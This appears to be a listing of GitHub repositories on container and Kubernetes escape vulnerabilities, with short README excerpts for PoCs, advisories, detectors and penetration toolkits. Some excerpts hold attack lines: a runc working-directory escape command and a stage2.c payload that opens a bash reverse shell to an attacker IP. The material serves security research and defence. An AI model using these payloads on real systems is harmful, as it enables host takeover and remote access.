CVE-2024-21626

CVE-2024-21626 For detailed explanation for this vulnerability, plz refer to my article. Exploit Exploit via Running a Container No need to build a custom image, just run a container with -w parameter: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm Exploit via Execin...

Copy-Fail-CVE-2026-31431-Kubernetes-PoC

Copy Fail CVE-2026-31431 — Kubernetes Container Escape PoC A proof-of-concept demonstrating how a fully unprivileged container can achieve node-level code execution on Kubernetes by exploiting the CVE-2026-31431 Linux kernel page-cache corruption bug through shared container image layers. The cor...

cve-2019-5736-poc

To run: 1. edit poc command in stage2.c 2. build docker docker build -t cve . 3. run docker docker run -d cve /bin/bash -c "tail -f /dev/null" 4. backup docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6. in docker run cd /root && ./run.sh && exi...

ZigRaceExploit

CVE-2021-25741 — TOCTOU Symlink Race Exploit in Zig Educational exploit of the TOCTOU Time Of Check, Time Of Use race condition behind CVE-2021-25741, a vulnerability in the Kubernetes kubelet. The project demonstrates locally without a K8s cluster how a concurrent symlink swap can bypass a path...

yc-mk8s-copy-fail-mitigation

Copy Fail / Dirty Frag Mitigation for Yandex Managed Kubernetes Automatic application of mitigation for vulnerabilities CVE-2026-31431, CVE-2026-43284 and CVE-2026-43500 in the Linux kernel on all worker nodes of a Yandex Managed Kubernetes cluster. Vulnerability Description CVE ID: CVE-2026-4328...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

vesta

A static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit based on the real penetration of cloud computing. English · 简体中文 Overview Vesta is a static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit. It inspects...

coolify-cve-2025-66209-66213

Coolify Security Advisories - CVE-2025-66209 through CVE-2025-66213 Reporter: 0xrakan Vendor: coollabsio/coolify Affected Versions: v4.0.0-beta.451 Fixed Version: v4.0.0-beta.451 Severity: Critical CVSS 9.4 Overview Five critical authenticated command injection vulnerabilities were discovered in...

CVE-2026-5555-Container-Escape-via-proc-self-fd-Symlink-in-Shared-Volume

CVE-2026-5555 – Container Escape via /proc/self/fd Symlink Overview A shared volume mounted with rshared propagation allows a malicious container to create a symbolic link pointing to a host file through /proc/self/fd. The host process writing to the volume follows the symlink, overwriting critic...

Copy-Fail_Detect_and_mitigate_CVE-2026-31431

Copy Fail - CVE-2026-31431 Detector and Mitigator Detect exposure to CVE-2026-31431 Copy Fail and optionally apply a host-level mitigation by disabling the algifaead kernel module on vulnerable systems. What this repo provides copyfail-check.sh — checks kernel patch status, runtime module exposur...

deepce

deepce . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // Website Docker Enumeration, Escalation of Privileges and Container Escapes DEEPCE In order for it to be compatible with the maximum number of...

vulhub

Vulhub is an open-source collection of pre-built, ready-to-use vulnerable Docker environments. With just one command you can launch a vulnerable environment for security research, learning, or demonstration, no prior Docker experience required. 中文版本Chinese version Quick Start Install Docker examp...

CDK

CDK - Zero Dependency Container Penetration Toolkit English | 简体中文 Legal Disclaimer Usage of CDK for attacking targets without prior mutual consent is illegal. CDK is for security testing purposes only. Overview CDK is an open-sourced container penetration toolkit, designed for offering stable...

POC-CVE-2019-5736

RunC-CVE-2019-5736 Video : https://bit.ly/2WqvILb Blog Post : www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html Here, I like to mention that the original developer of this exploit is Yuval Avrahami at Twistlock Labs. Running the POCs Note that running the POCs will overwrite...

CVE-2025-9074-Poc

Docker API Unauthenticated RCE CVE-2025-9074 A critical CVE-2025-9074 vulnerability in Docker Desktop enables locally running Linux containers to connect to the Docker Engine API through the default subnet 192.168.65.7:2375. The issue persists regardless of Enhanced Container Isolation ECI or TCP...

Dirty-Frag-Kubernetes-PoC

Dirty Frag CVE-2026-43284 — Kubernetes Container Escape PoC A proof-of-concept demonstrating how a default, unprivileged Kubernetes Pod can achieve node-level code execution on Amazon EKS by exploiting the Dirty Frag Linux kernel page-cache corruption vulnerability through shared container image...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass two method given to get flag's content: 1. copy it from host into container's mounted dir; 2. use reverse shell to get it;...

insject

Insject insject is a tool for poking at containers. It enables you to run an arbitrary command in a container or any mix of Linux namespaces. It supports three main use-cases: LDPRELOAD-mode using libsetns.so LDPRELOAD=./libsetns.so SETNSARGS="..." Running a host command in a container insject...

subpath-exploit

Sample Kubernetes Escape via CVE-2017-1002101 Description After hearing about the issue and following this guide, I wanted to explore things a bit more. This repo contains a couple pod deployments and helper shell scripts that demonstrate the attack mechanism in the simplest way possible so that...

CVE-2022-0492-Checker

CVE-2022-0492-Checker A script to check if a container environment is vulnerable to container escapes via CVE-2022-0492 About the vulnerability On Feb. 4 , Linux announced CVE-2022-0492 , a new privilege escalation vulnerability in the kernel. CVE-2022-0492 marks a logical bug in control groups...